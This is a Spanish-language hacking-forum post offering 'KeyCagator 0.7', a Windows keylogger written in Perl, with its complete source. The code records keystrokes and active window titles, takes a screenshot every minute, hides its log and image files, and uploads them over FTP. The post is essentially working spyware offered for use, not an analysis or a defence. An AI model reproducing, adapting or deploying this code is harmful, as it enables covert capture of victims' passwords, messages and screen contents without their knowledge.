Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Keycagator 0.7

  • 0 Respuestas
  • 1037 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:47:14 pm »
Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código: Perl
  1. #!usr/bin/perl
  2. #KeyCagator 0.7 (C) Doddy Hackman 2011
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  7. use Win32::Clipboard;
  8. use threads;
  9. use Net::FTP;
  10. use Win32::File;
  11. use Cwd;
  12.  
  13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  14. my $tengo = 0; 
  15.  
  16. #if ($^O eq 'MSWin32') {
  17. #use Win32::Console;
  18. #Win32::Console::Free();
  19. #}
  20.  
  21. hideit($0,"hide");
  22.  
  23. subirftp("logs.txt","logs.txt");
  24.  
  25. my $comando1 = threads->new(\&capture_windows);
  26. my $comando2 = threads->new(\&capture_keys);
  27. my $comando3 = threads->new(\&capture_screen);
  28.  
  29. $comando1->join();
  30. $comando2->join();
  31. $comando3->join();
  32.  
  33.  
  34. sub capture_windows {
  35.  
  36. while(1) {
  37.  
  38. my $win1 = GetForegroundWindow();        
  39. my $win2 = GetForegroundWindow();
  40.  
  41. if($win1 != $win2){
  42. my $nombre = GetWindowText($win1);
  43. chomp($nombre);
  44. if ($nombre ne "") {
  45. #print "\n\n[".$nombre."]\n\n";
  46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  47. }
  48. }
  49. }
  50. }
  51.        
  52. sub capture_keys {
  53.  
  54. while(1) {
  55.  
  56. my $test1;
  57. my $test2;
  58.  
  59. for my $num(0x30..0x39) { #Numbers     
  60.  
  61. if (dame($num)) {
  62. #print "number : ".chr($num)."\n";
  63. savefile("logs.txt",chr($num));
  64. }
  65. }
  66.  
  67. if (dame(0x14)) {
  68. $test1 = 1;
  69. $tengo++;
  70. }
  71.  
  72. for my $num(0x41..0x5A) {       #Words
  73.  
  74. if (dame($num)) {
  75.  
  76. if (dame(0x20)) {
  77. savefile("logs.txt"," ");
  78. }
  79.  
  80. if (dame(0x32)) {
  81. savefile("logs.txt","\n[enter]\n\n");
  82. }
  83.  
  84. unless (verpar($tengo) eq 1) {
  85. #print "MAYUSCULA : ".chr($num)."\n";
  86. savefile("logs.txt",chr($num));
  87. }
  88.  
  89. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  90. #print "MAYUSCULA : ".chr($num)."\n";
  91. $test2 = 1;
  92. }
  93.  
  94. unless ($test1 eq 1 or $test2 eq 1) {
  95. if ($num >= 0x41) {
  96. if ($num <= 0x5A) {
  97. if (verpar($tengo) eq 1) {
  98. #print "MINUSCULA : ".chr($num+32)."\n";
  99. savefile("logs.txt",chr($num+32));
  100. }
  101. }
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108.  
  109. sub capture_screen {
  110.  
  111. $numero = 0;
  112.  
  113. while(1) {
  114.  
  115. sleep 60;
  116.  
  117. $numero++;
  118.  
  119. SetForegroundWindow(1);
  120. SendKeys('%{PRTSCR}');
  121.  
  122. my $a = Win32::Clipboard::GetBitmap();
  123.  
  124. open (FOTO,">".$numero.".bmp");
  125. binmode(FOTO);
  126. print FOTO $a;
  127. close FOTO;
  128.  
  129. hideit($numero.".bmp","hide");
  130. subirftp($numero.".bmp",$numero.".bmp");
  131. }
  132. }
  133.  
  134. sub dame {
  135. return($come->Call(@_) & 1);
  136. }
  137.  
  138. sub savefile {
  139.  
  140. open (SAVE,">>".$_[0]);
  141. print SAVE $_[1];
  142. close SAVE;
  143.  
  144. hideit($_[0],"hide");
  145.  
  146. }
  147.  
  148. sub hideit {
  149. if ($_[1] eq "show") {
  150. Win32::File::SetAttributes($_[0],NORMAL);
  151. }
  152. elsif ($_[1] eq "hide") {
  153. Win32::File::SetAttributes($_[0],HIDDEN);
  154. }
  155. else {
  156. print "error\n";
  157. }
  158. }
  159.  
  160. sub subirftp {
  161.  
  162. if ($ser = Net::FTP->new("localhost")) {
  163. if ($ser->login("doddy","123")) {
  164. print "subi".getcwd()."/".$_[0]."\n";
  165. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
  166. return true;
  167. }
  168. }
  169. $ser->close;
  170. }
  171.  
  172.  
  173. }
  174.  
  175. sub verpar{
  176. return ($_[0] % 2 == 0) ? "1" : "2";
  177. }
  178.  
  179.  
  180. #Credits : to explorer for helpme with the function verpar()
  181. #Mail : lepuke[at]hotmail[com]
  182. #Blog : doddy-hackman.blogspot.com
  183. # ¿ The End ?
  184.  
« Última modificación: Marzo 14, 2015, 10:03:20 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3460
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1715
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1813
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1282
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 771
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora